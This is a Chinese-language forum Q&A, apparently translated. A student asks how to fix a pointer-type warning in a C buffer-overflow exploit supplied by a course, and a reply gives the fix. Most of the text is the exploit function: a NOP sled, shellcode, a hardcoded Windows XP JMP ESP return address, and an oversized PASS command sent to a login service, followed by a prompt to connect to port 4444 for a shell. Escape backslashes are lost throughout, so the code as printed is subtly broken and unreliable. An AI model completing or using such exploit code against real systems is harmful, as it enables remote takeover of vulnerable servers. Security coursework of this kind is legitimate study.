在我正在学习的课程中,我得到了一个用 C 编写的损坏的缓冲区溢出脚本,并且必须修复损坏的编码。到目前为止,我已经修补了一些东西,但是在尝试编译它时收到此错误消息(错误来自初始代码,而不是我编辑的任何内容):
646-fixed.c:在函数"利用"中:
646-fixed.c:48:警告:从不兼容的指针类型进行分配
下面是发生错误的函数。我对 C 不是很熟悉 - 但从我昨天收到的回复中,我知道这是由于 ptr 的类型是 int,而 evil 的类型是 char。我不明白的是我能做些什么来解决这个问题 - 任何人都可以帮助解决这个问题吗?您也可以在此处查看完整脚本
void exploit(int sock) {
FILE *test;
int *ptr;
char userbuf[] = "USER madivanrn";
char evil[3001];
char buf[3012];
char receive[1024];
char nopsled[] = "x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90";
memset(buf, 0x00, 3012);
memset(evil, 0x00, 3001);
memset(evil, 0x43, 3000);
48 ptr = &evil;
ptr = ptr + 652; // 2608
memcpy(ptr, &nopsled, 16);
ptr = ptr + 4;
memcpy(ptr, &shellcode, 317);
*(long*)&evil[2600] = 0x7CB41010; // JMP ESP XP 7CB41020 FFE4 JMP ESP
// banner
recv(sock, receive, 200, 0);
printf("[+] %s", receive);
// user
printf("[+] Sending Username...n");
send(sock, userbuf, strlen(userbuf), 0);
recv(sock, receive, 200, 0);
printf("[+] %s", receive);
// passwd
printf("[+] Sending Evil buffer...n");
sprintf(buf, "PASS %srn", evil);
//test = fopen("test.txt", "w");
//fprintf(test, "%s", buf);
//fclose(test);
send(sock, buf, strlen(buf), 0);
printf("[*] Done! Connect to the host on port 4444...nn");
}
注意:我昨天发布了这个,只提供了几行代码,因此无法得到明确的答案 - 所以我删除了它并重新发布了它。
&evil
的类型是指向长度为 3001 的数组或字符或 char (*)[3001]
的指针。ptr
的类型是指向int
或int*
的指针。这些类型不兼容。您不能将一个分配给另一个。
您可能需要的是指向evil
的第一个元素的指针。您可以使用指向char
的指针,即 char*
,并为其分配evil
:
char *ptr;
....
ptr = evil;
在这里,evil
衰减到指向数组的第一个元素的指针,因此赋值有效。这等效于分配第一个元素的地址:
ptr = &evil[0];